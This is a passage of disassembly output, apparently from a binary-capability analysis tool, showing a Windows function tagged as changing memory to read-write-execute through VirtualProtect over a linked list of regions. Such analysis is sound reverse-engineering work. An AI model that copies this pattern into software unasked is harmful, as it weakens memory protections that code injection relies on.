mov esp, ebp
pop ebp
ret
Function at 0x10048490
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x10083fb4]
mov dword [ebp - 4], eax
jmp 0x100484a9
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x100484d0
lea eax, [ebp - 8]
push eax
push 0x40
push 0x10000
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualProtect
test eax, eax
jne 0x100484ce
call sub.KERNEL32.dll_GetLastError
jmp 0x100484d2
jmp 0x100484a0
xor eax, eax
mov esp, ebp
pop ebp
ret